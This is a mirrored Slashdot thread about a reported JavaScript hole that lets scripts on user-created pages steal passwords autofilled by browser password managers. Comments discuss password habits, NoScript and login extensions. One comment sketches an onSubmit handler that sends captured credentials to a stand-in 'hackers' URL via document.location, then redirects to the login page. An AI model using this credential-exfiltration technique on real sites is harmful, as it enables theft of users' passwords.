Slashdot Mirror
Holes Remain Open in Firefox Password Manager
juct writes "Although the Mozilla developers have fixed a known hole in the password manager of Firefox & Co, a door remains open for exploitation. According to an article on the heise site, hackers can still use JavaScript to steal passwords from users of the Mozilla, Firefox, and Safari browsers. However, the real problem might not be Firefox' password manager. If users can set up their own pages containing script code on a server, the JavaScript security model breaks. Heise Security demonstrates the possible password theft in a demo. 'From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts. Otherwise somebody can easily create a page that steals the password as soon as the page is opened ... Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.'"
Which brings us back to simplistic password. I mean, you'd be surprised how many people have 1 2 3 4 5 as the key to their luggage. Or their atmosphere shield.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
That's it, I'm leaving the Internet. Forever.
Do not use a pull model but a push model like the bugmenot extension. A right click in the login form would allow you to automatically enter saved information. It's much safer.
\u262D = \u5350
I used to think (back in my tech support days) that people who couldn't remember their password were just plain stupid. These days, I work in a large firm that has tons of different passwords for everything. Unix passwords, windows passwords, spam mail setting utility password, time tracking utilities have passwords, passwords are required for clearcase/clearquest, remote login, etc. Each of them has different password complexity rules. I no longer criticize people for forgetting their password.
Your sig(k) has been stolen. There is a puff of smoke!
Users could also disable JavaScript, which in the age of Web2.0 would cause many pages to display incorrectly. A better alternative is NoScript!, an add-on that allows users to selectively white-list pages, servers, or domains to use JavaScript.
The thing that scared me away from the password manager in Firefox was a program called System Info for Windows. It lists all sorts of things about your computer--click on "Secrets." It searches for passwords in several programs--I have a few passwords saved in FF and the vast majority in Opera. I saw both programs mentioned in its analysis (meaning it searched both FF and Opera for saved passwords). It listed every saved FF password but no Opera passwords.
It seems to me that if this program can do that, then it can't be hard for a more nefarious program on my computer to do the same.
Don't tell me that an in-browser password manager stops people from using the same password everywhere. The average person sees "password" and a single phrase comes to mind. "Oh, my password is '12345'", they say to themselves, and enter that. They don't sit there and think, "Oh, I should keep my bank account password separate from my MySpace password."
Those two issues aside, people always use password managers of some kind or another. The difference is whether or not they are vulnerable to an attack. I happen to manage my passwords by memorizing them, whereas my father keeps his monitor covered in sticky notes. My password manager is more secure against people sitting at my desk, while his is more secure against old age, and both of them are safe from internet crackers.
I don't think there's much we can do about increasing people's password security other than increasing awareness and forcing better password standards.
> Don't want to remember all your passwords? Don't use sites that require passwords.
Or more specificly: Don't use internet. How many webmails you know that don't use password? You couldn't even write to Slashdot, except anonymously.
> Do you trust the your real life keys to be managed by a third party, then wonder how someone broke in your house without forced entry?
Yes, 3rd party has keys to our home. It is quite common with the apartment houses where I live. It is however quite unlikely that they would steal from us, as they would be number one suspects. So far I have never been robbed by they key holders, nor have I ever heard of a case that someone else had been.
> Having something "remember" your passwords defeats the purpose of having passwords.
Not really. It just makes the password behave more like client sertificates that automatically identify client to the server.
By using this extension, the security whole is fixed. Just have to wait around for FF to implement it natively.
2 9
This extension provides a *wand* like Opera has. (which is not affected by this security hole, because of this functionality).
https://addons.mozilla.org/en-US/firefox/addon/44
Actually, the IE6 and IE7 password managers will most likely equally vulnerable. If you do a little looking at the code, all they really do is just scoop the login and pass from the input fields. Mozilla fills it in by default if only one login is available. I don't know exactly what IE does in this case, but I'm guessing that even if IE doesn't fill out the password right away, you can still add an extra onSubmit to the form and do your thing.
From the MSDN website I can quote:
So as far as I can tell, you just need to enter a username and be on the correct URL. If by URL they mean "exactly the same page" this won't work unless you can trick the browser somehow, but if it is "the same (sub)domain" it will. Since I don't have an IE at my disposal right now, I can't test it, but I suppose it will work when you use onSubmit.
document.location="http://some.hackers.url/collecThen redirect to the login page hoping that the site doesn't check referrers (most likely they don't), and you're set to go. Sites that allow users to enter HTML and especially javascript are begging for this sort of thing, and there are much worse things you can do once someone gives you free play with javascript anyway (cookies anyone?)
Just stating the obvious, although now I'm actually curious if this works on IE...
You know, that's not a bad idea. Apparently someone else had it too. Check out the Secure Login extension. It doesn't use a right click (although I kinda wish it did; may have to suggest that) but it does have a shortcut key and an icon.
Thanks for saying that; I would have never thought to go looking for such an extension without you saying it.
The "right" solution is to have a challenge/response protocol where your secret key is never sent out of your computer at all. The current password situation is a huge mess since you need a different password for every site or risk one compromised trusted site giving away your password to everything. Most users, even when using a password manager, aren't going to have unique passwords for every site, let alone strong ones. It wouldn't surprise me at all if such a protocol already exists in the HTML standard. It certainly should.
The downsides to this solution? 1) You need to have a browser that supports the protocol (no browsing in telnet). 2) You need to carry around your keys if you want to use them on more than one computer. 3) You need to explain it to users (but hopefully it can be almost transparent). I'm sure there are other problems but the current situation is untenable.